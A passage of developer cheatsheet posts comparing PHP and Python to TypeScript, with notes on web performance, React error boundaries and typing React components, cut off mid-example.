Prioritize LCP image

<img src="hero.jpg" alt="" fetchpriority="high" />

Performance API

// Mark points in time
performance.mark('start')
// ... code to measure ...
performance.mark('end')

// Measure between marks
performance.measure('My operation', 'start', 'end')

// Get the measurement
const measures = performance.getEntriesByName('My operation')
console.log(measures[0].duration) // time in ms

Quick wins

Use loading="lazy" on below-fold images
Use decoding="async" on images
Compress images with modern formats (WebP, AVIF)
Use a CDN with proper caching headers
Minimize main thread work (defer non-critical JS)

PHP for TypeScript developers

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

A guide to PHP for developers coming from TypeScript/JavaScript.

Key differences from TypeScript

Concept	TypeScript	PHP
Typing	Static, structural	Dynamic (optional type hints)
Execution	Browser/Node.js	Server-side (CLI/web server)
Syntax	C-like, no `$`	C-like, `$` for variables
Arrays	Separate Array/Object	Single array type (indexed/associative)
Package manager	npm/yarn/pnpm	Composer
Null	`null` / `undefined`	`null` only

Variables and constants

TypeScript

const name: string = "Alice"
let age: number = 30
const isActive = true

PHP

<?php
// Variables (always start with $)
$name = "Alice";     // Type inferred
$age = 30;
$isActive = true;

// With type declarations (PHP 7.4+)
string $name = "Alice";  // Only in class properties

// Constants
const MAX_SIZE = 100;
define('API_URL', 'https://api.example.com');

// Class constants
class Config {
    public const VERSION = '1.0.0';
    private const SECRET = 'xxx';
}

Basic types

TypeScript	PHP
`string`	`string`
`number`	`int`, `float`
`boolean`	`bool`
`any`	`mixed` (PHP 8.0+)
`null` / `undefined`	`null`
`Array<T>`	`array`
`Record<K, V>`	`array` (associative)
`void`	`void`
`never`	`never` (PHP 8.1+)

Type declarations

<?php
// Function parameter and return types
function greet(string $name): string {
    return "Hello, $name!";
}

// Nullable types (like T | null)
function findUser(int $id): ?User {
    return null;
}

// Union types (PHP 8.0+)
function process(int|string $id): void {
    // ...
}

// Intersection types (PHP 8.1+)
function handle(Countable&Iterator $items): void {
    // ...
}

// Mixed type (like any)
function log(mixed $data): void {
    // ...
}

Functions

TypeScript

function greet(name: string): string {
    return `Hello, ${name}!`
}

const add = (a: number, b: number): number => a + b

function log(message: string, level: string = "INFO"): void {
    console.log(`[${level}] ${message}`)
}

PHP

<?php
// Basic function
function greet(string $name): string {
    return "Hello, $name!";
}

// Arrow functions (PHP 7.4+, single expression only)
$add = fn(int $a, int $b): int => $a + $b;

// Anonymous functions (closures)
$multiply = function(int $a, int $b): int {
    return $a * $b;
};

// Default parameters
function log(string $message, string $level = "INFO"): void {
    echo "[$level] $message\n";
}

// Variadic functions (rest parameters)
function sum(int ...$numbers): int {
    return array_sum($numbers);
}

// Named arguments (PHP 8.0+)
function createUser(string $name, string $email, int $age = 0): User {
    // ...
}
createUser(name: "Alice", email: "alice@example.com");

// Closures capturing variables
$factor = 2;
$multiply = function(int $n) use ($factor): int {
    return $n * $factor;
};
// Arrow functions capture automatically
$multiply = fn(int $n): int => $n * $factor;

Classes

TypeScript

class User {
    private id: number
    public name: string
    readonly email: string

    constructor(id: number, name: string, email: string) {
        this.id = id
        this.name = name
        this.email = email
    }

    greet(): string {
        return `Hello, ${this.name}`
    }

    static create(name: string): User {
        return new User(Date.now(), name, "")
    }
}

PHP

<?php
class User {
    private int $id;
    public string $name;
    public readonly string $email;  // PHP 8.1+

    public function __construct(int $id, string $name, string $email) {
        $this->id = $id;
        $this->name = $name;
        $this->email = $email;
    }

    public function greet(): string {
        return "Hello, {$this->name}";
    }

    public static function create(string $name): self {
        return new self(time(), $name, "");
    }
}

// Constructor property promotion (PHP 8.0+)
class User {
    public function __construct(
        private int $id,
        public string $name,
        public readonly string $email = "",
    ) {}
}

// Usage
$user = new User(1, "Alice", "alice@example.com");
$user->greet();
User::create("Bob");

Interfaces and traits

TypeScript

interface Drawable {
    draw(): void
}

interface Resizable {
    resize(width: number, height: number): void
}

class Circle implements Drawable, Resizable {
    draw() { /* ... */ }
    resize(w: number, h: number) { /* ... */ }
}

PHP

<?php
interface Drawable {
    public function draw(): void;
}

interface Resizable {
    public function resize(int $width, int $height): void;
}

class Circle implements Drawable, Resizable {
    public function draw(): void {
        // ...
    }

    public function resize(int $width, int $height): void {
        // ...
    }
}

// Traits (mixins/reusable code)
trait Loggable {
    public function log(string $message): void {
        echo "[LOG] $message\n";
    }
}

trait Timestamped {
    public \DateTime $createdAt;

    public function touch(): void {
        $this->createdAt = new \DateTime();
    }
}

class Article {
    use Loggable, Timestamped;

    public function save(): void {
        $this->touch();
        $this->log("Article saved");
    }
}

Error handling

TypeScript

try {
    const data = await fetchData()
} catch (error) {
    if (error instanceof NotFoundError) {
        console.log("Not found")
    }
    throw error
} finally {
    cleanup()
}

PHP

<?php
try {
    $data = fetchData();
} catch (NotFoundException $e) {
    echo "Not found\n";
} catch (ValidationException | NetworkException $e) {
    echo "Error: " . $e->getMessage() . "\n";
} catch (Exception $e) {
    throw new RuntimeException("Failed", 0, $e);  // Chain
} finally {
    cleanup();
}

// Custom exceptions
class ValidationException extends Exception {
    public function __construct(
        public readonly string $field,
        string $message
    ) {
        parent::__construct("$field: $message");
    }
}

throw new ValidationException("email", "Invalid format");

Arrays

PHP arrays are unique - they're ordered maps that can be used as arrays, lists, hash tables, dictionaries, etc.

TypeScript

const arr: number[] = [1, 2, 3]
arr.push(4)
const doubled = arr.map(n => n * 2)
const evens = arr.filter(n => n % 2 === 0)
const sum = arr.reduce((a, b) => a + b, 0)

PHP

<?php
// Indexed array (like JS array)
$arr = [1, 2, 3];
$arr[] = 4;  // Push

// Map/filter/reduce
$doubled = array_map(fn($n) => $n * 2, $arr);
$evens = array_filter($arr, fn($n) => $n % 2 === 0);
$sum = array_reduce($arr, fn($carry, $n) => $carry + $n, 0);

// Or use built-in
$sum = array_sum($arr);

// Destructuring
[$first, $second] = $arr;
[, , $third] = $arr;  // Skip elements

// Spread operator
$combined = [...$arr, 4, 5];

// Slice
array_slice($arr, 1, 2);  // [2, 3]

// Common array functions
count($arr);              // Length
in_array(2, $arr);        // Includes
array_search(2, $arr);    // indexOf
array_reverse($arr);
array_unique($arr);
sort($arr);               // Mutates!
$sorted = [...$arr];      // Clone first
sort($sorted);

Associative arrays (objects/records)

TypeScript

const scores: Record<string, number> = {
    alice: 100,
    bob: 85
}
scores["charlie"] = 90
delete scores.bob
Object.keys(scores)

PHP

<?php
$scores = [
    "alice" => 100,
    "bob" => 85,
];

// Access
$scores["charlie"] = 90;
echo $scores["alice"];

// Check key exists
if (isset($scores["alice"])) {
    // ...
}
if (array_key_exists("alice", $scores)) {
    // ...
}

// Delete
unset($scores["bob"]);

// Keys/values
array_keys($scores);
array_values($scores);

// Iterate
foreach ($scores as $name => $score) {
    echo "$name: $score\n";
}

// Merge (spread equivalent)
$merged = [...$scores, "david" => 70];
$merged = array_merge($scores, ["david" => 70]);

// Null coalescing (like ??)
$value = $scores["unknown"] ?? 0;

String handling

TypeScript

const name = "Alice"
const message = `Hello, ${name}!`
"hello".toUpperCase()
"hello world".split(" ")

PHP

<?php
$name = "Alice";

// String interpolation (double quotes only!)
$message = "Hello, $name!";
$message = "Hello, {$name}!";  // Complex expressions

// Single quotes = no interpolation
$literal = 'Hello, $name';  // Literal "$name"

// Heredoc (multiline with interpolation)
$html = <<<HTML
    <div>
        <h1>Hello, $name!</h1>
    </div>
HTML;

// Nowdoc (multiline, no interpolation)
$template = <<<'TEXT'
    No $interpolation here
TEXT;

// String functions
strtoupper("hello");         // HELLO
strtolower("HELLO");         // hello
strlen($name);               // 5
explode(" ", "hello world"); // ["hello", "world"]
implode(", ", $arr);         // Join
trim("  hello  ");           // "hello"
str_replace("l", "L", "hello"); // heLLo
substr("hello", 1, 3);       // "ell"
strpos("hello", "l");        // 2 (first occurrence)
str_contains("hello", "ell"); // true (PHP 8.0+)
str_starts_with("hello", "he"); // true (PHP 8.0+)
str_ends_with("hello", "lo");   // true (PHP 8.0+)

// sprintf (printf-style)
$msg = sprintf("User %s has %d points", $name, 100);

JSON handling

TypeScript

const json = JSON.stringify(obj)
const parsed = JSON.parse(json)

PHP

<?php
// Encode
$json = json_encode($data);
$json = json_encode($data, JSON_PRETTY_PRINT);

// Decode
$data = json_decode($json);          // Returns stdClass
$data = json_decode($json, true);    // Returns associative array

// Error handling
$data = json_decode($json, true);
if (json_last_error() !== JSON_ERROR_NONE) {
    throw new RuntimeException(json_last_error_msg());
}

// PHP 7.3+
$data = json_decode($json, true, 512, JSON_THROW_ON_ERROR);

HTTP server

TypeScript (Express)

import express from 'express'

const app = express()
app.use(express.json())

app.get('/users/:id', (req, res) => {
    res.json({ id: req.params.id, name: 'Alice' })
})

app.listen(3000)

PHP (vanilla)

<?php
// index.php
header('Content-Type: application/json');

$method = $_SERVER['REQUEST_METHOD'];
$path = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);

// Simple routing
if ($method === 'GET' && preg_match('#^/users/(\d+)$#', $path, $matches)) {
    $id = $matches[1];
    echo json_encode(['id' => $id, 'name' => 'Alice']);
    exit;
}

// POST body
$body = json_decode(file_get_contents('php://input'), true);

http_response_code(404);
echo json_encode(['error' => 'Not found']);

PHP (Laravel)

<?php
// routes/api.php
use App\Http\Controllers\UserController;
use Illuminate\Support\Facades\Route;

Route::get('/users/{id}', [UserController::class, 'show']);
Route::post('/users', [UserController::class, 'store']);

// app/Http/Controllers/UserController.php
namespace App\Http\Controllers;

use App\Models\User;
use Illuminate\Http\Request;

class UserController extends Controller
{
    public function show(int $id)
    {
        return User::findOrFail($id);
    }

    public function store(Request $request)
    {
        $validated = $request->validate([
            'name' => 'required|string|max:255',
            'email' => 'required|email|unique:users',
        ]);

        return User::create($validated);
    }
}

Package management (Composer)

TypeScript

npm init
npm install express
npm install -D typescript

PHP

composer init
composer require guzzlehttp/guzzle
composer require --dev phpunit/phpunit

// composer.json
{
    "require": {
        "php": "^8.2",
        "guzzlehttp/guzzle": "^7.0"
    },
    "require-dev": {
        "phpunit/phpunit": "^10.0"
    },
    "autoload": {
        "psr-4": {
            "App\\": "src/"
        }
    }
}

<?php
// Autoloading
require __DIR__ . '/vendor/autoload.php';

use GuzzleHttp\Client;
use App\Services\UserService;

Namespaces

TypeScript

// ES modules
import { UserService } from './services/user'
export class AuthService {}

PHP

<?php
// src/Services/UserService.php
namespace App\Services;

use App\Models\User;
use App\Repositories\UserRepository;

class UserService {
    public function __construct(
        private UserRepository $repository
    ) {}
}

// Usage
use App\Services\UserService;

$service = new UserService($repo);

// Aliasing
use App\Services\UserService as Users;

Testing (PHPUnit)

TypeScript (Jest)

describe('math', () => {
    it('adds numbers', () => {
        expect(add(1, 2)).toBe(3)
    })
})

PHP (PHPUnit)

<?php
// tests/MathTest.php
namespace Tests;

use PHPUnit\Framework\TestCase;

class MathTest extends TestCase
{
    public function testAdd(): void
    {
        $this->assertEquals(3, add(1, 2));
    }

    public function testDivideByZero(): void
    {
        $this->expectException(\DivisionByZeroError::class);
        divide(1, 0);
    }

    /**
     * @dataProvider additionProvider
     */
    public function testAddWithProvider(int $a, int $b, int $expected): void
    {
        $this->assertEquals($expected, add($a, $b));
    }

    public static function additionProvider(): array
    {
        return [
            [1, 2, 3],
            [0, 0, 0],
            [-1, 1, 0],
        ];
    }

    protected function setUp(): void
    {
        // Before each test
    }
}

./vendor/bin/phpunit
./vendor/bin/phpunit --coverage-html coverage

Enums (PHP 8.1+)

TypeScript

enum Status {
    Pending = 'pending',
    Active = 'active',
    Inactive = 'inactive'
}

const status: Status = Status.Active

PHP

<?php
// Basic enum
enum Status {
    case Pending;
    case Active;
    case Inactive;
}

$status = Status::Active;

// Backed enum (with values)
enum Status: string {
    case Pending = 'pending';
    case Active = 'active';
    case Inactive = 'inactive';
}

$status = Status::Active;
echo $status->value;  // "active"

// From value
$status = Status::from('active');        // Throws if invalid
$status = Status::tryFrom('unknown');    // Returns null if invalid

// Enum methods
enum Status: string {
    case Pending = 'pending';
    case Active = 'active';
    case Inactive = 'inactive';

    public function label(): string {
        return match($this) {
            self::Pending => 'Awaiting Review',
            self::Active => 'Currently Active',
            self::Inactive => 'No Longer Active',
        };
    }
}

Match expression (PHP 8.0+)

TypeScript

// Switch or object lookup
const getMessage = (status: string): string => {
    switch (status) {
        case 'success': return 'It worked!'
        case 'error': return 'Something failed'
        default: return 'Unknown'
    }
}

PHP

<?php
// match is an expression (returns value)
$message = match($status) {
    'success' => 'It worked!',
    'error' => 'Something failed',
    'warning', 'notice' => 'Check this out',  // Multiple conditions
    default => 'Unknown',
};

// With enums
$color = match($status) {
    Status::Active => 'green',
    Status::Pending => 'yellow',
    Status::Inactive => 'gray',
};

Common gotchas for TS developers

$ required for variables - always $name, not name
-> not . for object access - $user->name not $user.name
:: for static access - User::create() not User.create()
Double quotes for interpolation - "Hello $name" works, 'Hello $name' doesn't
Arrays are both lists and maps - same syntax for both
== is loose, === is strict - just like JavaScript
No undefined - only null
Semicolons required - unlike JavaScript
String concatenation uses . - "Hello" . " " . "World"
Array functions often have weird parameter order - array_map($fn, $arr) vs array_filter($arr, $fn)

<?php
// Loose vs strict comparison
0 == "0"    // true
0 === "0"   // false
null == false  // true (!)
null === false // false

// Spaceship operator (useful for sorting)
1 <=> 2  // -1
2 <=> 2  // 0
3 <=> 2  // 1

usort($arr, fn($a, $b) => $a <=> $b);

Resources

Python for TypeScript developers

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

A guide to Python for developers coming from TypeScript/JavaScript.

Key differences from TypeScript

Concept	TypeScript	Python
Typing	Static, structural	Dynamic (optional type hints)
Indentation	Braces `{}`	Whitespace-significant
Compilation	Transpiles to JS	Interpreted
Package manager	npm/yarn/pnpm	pip, poetry, uv
Null	`null` / `undefined`	`None`
Concurrency	Async/await, event loop	asyncio, threading, multiprocessing

Variables and constants

TypeScript

const name: string = "Alice"
let age: number = 30
const isActive = true

Python

# No const keyword - convention is UPPER_CASE for constants
name: str = "Alice"
age: int = 30
is_active = True  # Type inference

# Convention for constants
MAX_SIZE = 100
API_URL = "https://api.example.com"

Basic types

TypeScript	Python
`string`	`str`
`number`	`int`, `float`
`boolean`	`bool` (`True`/`False`)
`any`	`Any` (from typing)
`null` / `undefined`	`None`
`Array<T>` / `T[]`	`list[T]`
`Record<K, V>`	`dict[K, V]`
`Set<T>`	`set[T]`
`[T, U]` (tuple)	`tuple[T, U]`

Type hints (like TypeScript types)

from typing import Optional, Union, List, Dict, Any

# Basic types
name: str = "Alice"
age: int = 30
scores: list[float] = [95.5, 87.0]
config: dict[str, Any] = {"debug": True}

# Optional (like T | undefined)
email: Optional[str] = None  # or str | None (Python 3.10+)

# Union types
id: Union[int, str] = 123  # or int | str (Python 3.10+)

# Type aliases
UserId = int | str
UserMap = dict[str, "User"]

Functions

TypeScript

function greet(name: string): string {
    return `Hello, ${name}!`
}

const add = (a: number, b: number): number => a + b

// Optional and default parameters
function log(message: string, level: string = "INFO"): void {
    console.log(`[${level}] ${message}`)
}

Python

def greet(name: str) -> str:
    return f"Hello, {name}!"

# Lambda (limited to single expression)
add = lambda a, b: a + b

# Default parameters
def log(message: str, level: str = "INFO") -> None:
    print(f"[{level}] {message}")

# *args and **kwargs (like rest/spread)
def func(*args, **kwargs):
    print(args)    # tuple of positional args
    print(kwargs)  # dict of keyword args

# Keyword-only arguments (after *)
def fetch(url: str, *, timeout: int = 30, retry: bool = True):
    pass

fetch("http://...", timeout=60)  # Must use keyword

Classes

TypeScript

class User {
    private id: number
    public name: string

    constructor(id: number, name: string) {
        this.id = id
        this.name = name
    }

    greet(): string {
        return `Hello, ${this.name}`
    }

    static create(name: string): User {
        return new User(Date.now(), name)
    }
}

Python

class User:
    # Class variable (shared across instances)
    count: int = 0

    def __init__(self, id: int, name: str):
        self.id = id          # Instance variable (public)
        self.name = name
        self._email = ""      # Convention: "private" (still accessible)
        self.__secret = ""    # Name-mangled (harder to access)
        User.count += 1

    def greet(self) -> str:
        return f"Hello, {self.name}"

    @staticmethod
    def validate(name: str) -> bool:
        return len(name) > 0

    @classmethod
    def create(cls, name: str) -> "User":
        return cls(id(name), name)

    @property
    def email(self) -> str:
        return self._email

    @email.setter
    def email(self, value: str):
        self._email = value.lower()

# Usage
user = User(1, "Alice")
user.email = "ALICE@example.com"

Dataclasses (like TypeScript interfaces + classes)

from dataclasses import dataclass, field
from typing import Optional

@dataclass
class User:
    id: int
    name: str
    email: Optional[str] = None
    tags: list[str] = field(default_factory=list)

# Auto-generates __init__, __repr__, __eq__
user = User(id=1, name="Alice")
print(user)  # User(id=1, name='Alice', email=None, tags=[])

# Frozen (immutable, like readonly)
@dataclass(frozen=True)
class Point:
    x: float
    y: float

Interfaces (Protocols)

TypeScript

interface Drawable {
    draw(): void
}

interface Resizable {
    resize(width: number, height: number): void
}

class Circle implements Drawable, Resizable {
    draw() { /* ... */ }
    resize(w: number, h: number) { /* ... */ }
}

Python

from typing import Protocol

class Drawable(Protocol):
    def draw(self) -> None: ...

class Resizable(Protocol):
    def resize(self, width: int, height: int) -> None: ...

# No "implements" needed - structural typing (duck typing)
class Circle:
    def draw(self) -> None:
        print("Drawing circle")

    def resize(self, width: int, height: int) -> None:
        pass

# This works because Circle has the required methods
def render(item: Drawable) -> None:
    item.draw()

render(Circle())  # ✅ Works

Error handling

TypeScript

try {
    const data = await fetchData()
} catch (error) {
    if (error instanceof NotFoundError) {
        console.log("Not found")
    }
    throw error
} finally {
    cleanup()
}

Python

try:
    data = fetch_data()
except NotFoundError:
    print("Not found")
except (ValueError, TypeError) as e:
    print(f"Invalid: {e}")
except Exception as e:
    raise RuntimeError("Failed") from e  # Chain exceptions
else:
    print("Success!")  # Only if no exception
finally:
    cleanup()

# Custom exceptions
class ValidationError(Exception):
    def __init__(self, field: str, message: str):
        self.field = field
        super().__init__(f"{field}: {message}")

raise ValidationError("email", "Invalid format")

Arrays (Lists)

TypeScript

const arr: number[] = [1, 2, 3]
arr.push(4)
const doubled = arr.map(n => n * 2)
const evens = arr.filter(n => n % 2 === 0)
const sum = arr.reduce((a, b) => a + b, 0)
const first = arr[0]
const last = arr.at(-1)

Python

arr: list[int] = [1, 2, 3]
arr.append(4)

# List comprehensions (preferred over map/filter)
doubled = [n * 2 for n in arr]
evens = [n for n in arr if n % 2 == 0]
sum_val = sum(arr)

# Indexing
first = arr[0]
last = arr[-1]  # Negative indexing built-in!

# Slicing
arr[1:3]     # [2, 3]
arr[::2]     # [1, 3] - every 2nd element
arr[::-1]    # [3, 2, 1] - reversed

# Unpacking (like destructuring)
first, *rest = arr        # first=1, rest=[2,3]
first, *middle, last = [1, 2, 3, 4]  # first=1, middle=[2,3], last=4

# Spread equivalent
combined = [*arr, 4, 5]

# Map/filter with functions
doubled = list(map(lambda n: n * 2, arr))
evens = list(filter(lambda n: n % 2 == 0, arr))

Dictionaries (Objects)

TypeScript

const scores: Record<string, number> = {
    alice: 100,
    bob: 85
}
scores["charlie"] = 90
scores.alice
delete scores.bob
Object.keys(scores)
Object.entries(scores)

Python

scores: dict[str, int] = {
    "alice": 100,
    "bob": 85
}

# Access
scores["charlie"] = 90
scores["alice"]
scores.get("david", 0)  # Default value if missing

# Delete
del scores["bob"]
scores.pop("bob", None)  # Delete with default

# Methods
scores.keys()
scores.values()
scores.items()  # Like Object.entries()

# Iteration
for name, score in scores.items():
    print(f"{name}: {score}")

# Dict comprehension
doubled = {k: v * 2 for k, v in scores.items()}

# Merge (spread equivalent)
merged = {**scores, "david": 70}
merged = scores | {"david": 70}  # Python 3.9+

# Check key exists
if "alice" in scores:
    print("Found!")

Async/Await

TypeScript

async function fetchData(url: string): Promise<Response> {
    const response = await fetch(url)
    return response
}

const results = await Promise.all([
    fetchData("url1"),
    fetchData("url2")
])

Python

import asyncio
import aiohttp  # pip install aiohttp

async def fetch_data(url: str) -> str:
    async with aiohttp.ClientSession() as session:
        async with session.get(url) as response:
            return await response.text()

# Promise.all equivalent
results = await asyncio.gather(
    fetch_data("url1"),
    fetch_data("url2")
)

# Run async code
asyncio.run(main())

# Create tasks (fire and forget, then await)
async def main():
    task1 = asyncio.create_task(fetch_data("url1"))
    task2 = asyncio.create_task(fetch_data("url2"))
    results = await asyncio.gather(task1, task2)

Modules and imports

TypeScript

// Named exports
export const foo = 1
export function bar() {}

// Default export
export default class MyClass {}

// Import
import MyClass, { foo, bar } from './module'
import * as utils from './utils'

Python

# my_module.py
foo = 1

def bar():
    pass

class MyClass:
    pass

# Import
from my_module import foo, bar, MyClass
import my_module
from my_module import *  # Not recommended

# Aliasing
from my_module import foo as my_foo
import numpy as np

# Relative imports (in packages)
from . import sibling
from ..parent import something

Package management

TypeScript

npm init
npm install express
npm install -D typescript

Python

# pip (built-in)
pip install requests
pip install -r requirements.txt
pip freeze > requirements.txt

# poetry (recommended for projects)
poetry init
poetry add requests
poetry add --group dev pytest

# uv (fast, modern)
uv init
uv add requests
uv add --dev pytest

# requirements.txt
requests>=2.28.0
pydantic>=2.0.0

# pyproject.toml (modern)
[project]
name = "myproject"
dependencies = [
    "requests>=2.28.0",
    "pydantic>=2.0.0",
]

[project.optional-dependencies]
dev = ["pytest", "mypy"]

JSON handling

TypeScript

const json = JSON.stringify(obj)
const parsed = JSON.parse(json)

Python

import json

# Stringify
json_str = json.dumps(obj)
json.dumps(obj, indent=2)  # Pretty print

# Parse
data = json.loads(json_str)

# File I/O
with open("data.json") as f:
    data = json.load(f)

with open("output.json", "w") as f:
    json.dump(obj, f, indent=2)

# With Pydantic (like Zod for validation)
from pydantic import BaseModel

class User(BaseModel):
    id: int
    name: str
    email: str | None = None

user = User.model_validate_json('{"id": 1, "name": "Alice"}')
json_str = user.model_dump_json()

HTTP server (FastAPI)

TypeScript (Express)

import express from 'express'

const app = express()
app.use(express.json())

app.get('/users/:id', (req, res) => {
    res.json({ id: req.params.id, name: 'Alice' })
})

app.post('/users', (req, res) => {
    const { name, email } = req.body
    res.status(201).json({ id: 1, name, email })
})

app.listen(3000)

Python (FastAPI)

from fastapi import FastAPI, HTTPException
from pydantic import BaseModel

app = FastAPI()

class UserCreate(BaseModel):
    name: str
    email: str | None = None

class User(BaseModel):
    id: int
    name: str
    email: str | None = None

@app.get("/users/{user_id}")
async def get_user(user_id: int) -> User:
    return User(id=user_id, name="Alice")

@app.post("/users", status_code=201)
async def create_user(user: UserCreate) -> User:
    return User(id=1, **user.model_dump())

# Run with: uvicorn main:app --reload

Testing

TypeScript (Jest)

describe('math', () => {
    it('adds numbers', () => {
        expect(add(1, 2)).toBe(3)
    })

    it('throws on invalid input', () => {
        expect(() => divide(1, 0)).toThrow()
    })
})

Python (pytest)

# test_math.py
import pytest

def test_add():
    assert add(1, 2) == 3

def test_divide_by_zero():
    with pytest.raises(ZeroDivisionError):
        divide(1, 0)

# Parametrized tests
@pytest.mark.parametrize("a,b,expected", [
    (1, 2, 3),
    (0, 0, 0),
    (-1, 1, 0),
])
def test_add_params(a, b, expected):
    assert add(a, b) == expected

# Fixtures (like beforeEach)
@pytest.fixture
def user():
    return User(id=1, name="Test")

def test_greet(user):
    assert user.greet() == "Hello, Test"

pytest
pytest -v --cov=myapp

String formatting

TypeScript

const name = "Alice"
const message = `Hello, ${name}!`

Python

name = "Alice"

# f-strings (recommended, Python 3.6+)
message = f"Hello, {name}!"
f"2 + 2 = {2 + 2}"
f"Pi: {3.14159:.2f}"  # Formatting: "Pi: 3.14"

# .format() method
"Hello, {}!".format(name)
"Hello, {name}!".format(name=name)

# Multiline strings
query = """
    SELECT *
    FROM users
    WHERE id = {id}
""".format(id=1)

# Raw strings (like String.raw)
path = r"C:\Users\name"  # Backslashes not escaped

Common gotchas for TS developers

Indentation matters - use 4 spaces (PEP 8 standard)
No braces - blocks defined by indentation only
self is explicit - must be first parameter in methods
Mutable default arguments - never use def f(items=[]):
is vs == - is checks identity, == checks equality
Everything is an object - functions, classes, modules
No ++/-- - use += 1 or -= 1
Truthiness differs - empty collections are falsy

# Mutable default argument gotcha
def bad(items=[]):  # ❌ Same list reused!
    items.append(1)
    return items

def good(items=None):  # ✅
    if items is None:
        items = []
    items.append(1)
    return items

Resources

React Error Boundary

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

Error boundaries catch JavaScript errors in their child component tree, log those errors, and display a fallback UI instead of crashing the whole app.

Using `react-error-boundary`

The react-error-boundary package provides a ready-to-use solution that's easier than writing your own class component.

npm install react-error-boundary

Basic usage

import { ErrorBoundary } from 'react-error-boundary'

const App = () => (
  <ErrorBoundary fallback={<div>Something went wrong</div>}>
    <MyComponent />
  </ErrorBoundary>
)

With fallback component

import { ErrorBoundary, FallbackProps } from 'react-error-boundary'

const ErrorFallback = ({ error, resetErrorBoundary }: FallbackProps) => (
  <div role="alert">
    <p>Something went wrong:</p>
    <pre>{error.message}</pre>
    <button onClick={resetErrorBoundary}>Try again</button>
  </div>
)

const App = () => (
  <ErrorBoundary
    FallbackComponent={ErrorFallback}
    onReset={() => {
      // Reset app state here
    }}
    onError={(error, info) => {
      // Log to error reporting service
      console.error(error, info.componentStack)
    }}
  >
    <MyComponent />
  </ErrorBoundary>
)

Reset on navigation or prop change

<ErrorBoundary
  FallbackComponent={ErrorFallback}
  resetKeys={[pathname, userId]}
>
  <MyComponent />
</ErrorBoundary>

useErrorBoundary hook

Trigger error boundary from event handlers or effects:

import { useErrorBoundary } from 'react-error-boundary'

const MyComponent = () => {
  const { showBoundary } = useErrorBoundary()

  const handleClick = async () => {
    try {
      await riskyOperation()
    } catch (error) {
      showBoundary(error)
    }
  }

  return <button onClick={handleClick}>Do something risky</button>
}

With Suspense

Error boundaries pair nicely with Suspense for data fetching:

import { Suspense } from 'react'
import { ErrorBoundary } from 'react-error-boundary'

const App = () => (
  <ErrorBoundary fallback={<div>Failed to load</div>}>
    <Suspense fallback={<div>Loading...</div>}>
      <DataComponent />
    </Suspense>
  </ErrorBoundary>
)

Custom class-based error boundary

If you prefer not to use a library:

import { Component, ReactNode } from 'react'

interface Props {
  children: ReactNode
  fallback?: ReactNode
}

interface State {
  hasError: boolean
  error: Error | null
}

class ErrorBoundary extends Component<Props, State> {
  state: State = { hasError: false, error: null }

  static getDerivedStateFromError(error: Error): State {
    return { hasError: true, error }
  }

  componentDidCatch(error: Error, errorInfo: React.ErrorInfo) {
    console.error('Error caught:', error, errorInfo.componentStack)
  }

  render() {
    if (this.state.hasError) {
      return this.props.fallback ?? <div>Something went wrong</div>
    }
    return this.props.children
  }
}

What error boundaries don't catch

Event handlers (use try/catch)
Async code (use try/catch or .catch())
Server-side rendering
Errors in the error boundary itself

React TypeScript

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

React TypeScript cheatsheet is my bible for all React/TypeScript things.

Typing components

The preferred method is to type props directly rather than using FC.

interface ButtonProps {
  label: string
  onClick: () => void
  disabled?: boolean
}

const Button = ({ label, onClick, disabled }: ButtonProps) => {
  return (
    <button onClick={onClick} disabled={disabled}>
      {label}
    </button>
  )
}

With children

Explicitly type children when you need them:

import type { ReactNode } from 'react'

interface CardProps {
  title: string
  children: ReactNode
}

const Card = ({ title, children }: CardProps) => (
  <div>
    <h2>{title}</h2>
    {children}
  </div>
)

With PropsWithChildren

If you want a shorthand for adding children:

import type { PropsWithChildren } from 'react'

interface CardProps {
  title: string
}

const Card = ({ title, children }: PropsWithChildren<CardProps>) => (
  <div>
    <h2>{title}</h2>
    {children}
  </div>
)

Why not `FC`?

FC (FunctionComponent) is no longer recommended because:

It used to implicitly include children (fixed in React 18, but the habit stuck)
It doesn't play well with generics
Direct prop typing is more explicit and flexible

// ❌ Less preferred
const Button: FC<ButtonProps> = ({ label }) => <button>{label}</button>

// ✅ Preferred
const Button = ({ label }: ButtonProps) => <button>{label}</button>

Note: VFC (VoidFunctionComponent) was deprecated in React 18 and removed in React 19.

Basic prop types

type AppProps = {
  message: string
  count: number
  disabled: boolean
  names: string[]
  status: 'waiting' | 'success' | 'error'
  /** Object with specific shape */
  user: {
    id: string
    name: string
  }
  /** Array of objects */
  items: {
    id: string
    title: string
  }[]
  /** Record type for dictionaries */
  scores: Record<string, number>
  /** Function that returns nothing */
  onClick: () => void
  /** Function with parameters */
  onChange: (value: string) => void
  /** Optional prop */
  optional?: string
}

Event handling

const handleClick = (event: React.MouseEvent<HTMLButtonElement>) => {
  console.log(event.currentTarget)
}

const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {
  console.log(event.target.value)
}

const handleSubmit = (event: React.FormEvent<HTMLFormElement>) => {
  event.preventDefault()
}

const handleKeyDown = (event: React.KeyboardEvent<HTMLInputElement>) => {
  if (event.key === 'Enter') {
    // ...
  }
}

Common prop patterns

import type { ReactNode, CSSProperties, ComponentPropsWithoutRef } from 'react'

interface Props {
  /** Anything React can render */
  children: ReactNode
  /** Style object */
  style?: CSSProperties
  /** Class name */
  className?: string
}

Extending HTML elements

import type { ComponentPropsWithoutRef } from 'react'

interface ButtonProps extends ComponentPropsWithoutRef<'button'> {
  variant: 'primary' | 'secondary'
}

const Button = ({ variant, children, ...rest }: ButtonProps) => (
  <button className={`btn-${variant}`} {...rest}>
    {children}
  </button>
)

With ref forwarding

import { forwardRef, type ComponentPropsWithRef } from 'react'

interface InputProps extends ComponentPropsWithRef<'input'> {
  label: string
}

const Input = forwardRef<HTMLInputElement, InputProps>(
  ({ label, ...rest }, ref) => (
    <label>
      {label}
      <input ref={ref} {...rest} />
    </label>
  )
)

Hooks

useState

// Type is inferred
const [count, setCount] = useState(0)

// Explicit type for complex state
const [user, setUser] = useState<User | null>(null)

// Union types
const [status, setStatus] = useState<'idle' | 'loading' | 'success'>('idle')

useRef

// DOM element ref
const inputRef = useRef<HTMLInputElement>(null)

// Mutable ref (no null)
const intervalRef = useRef<number | undefined>(undefined)

useReducer

type State = { count: number }
type Action = { type: 'increment' } | { type: 'decrement' } | { type: 'reset'; payload: number }
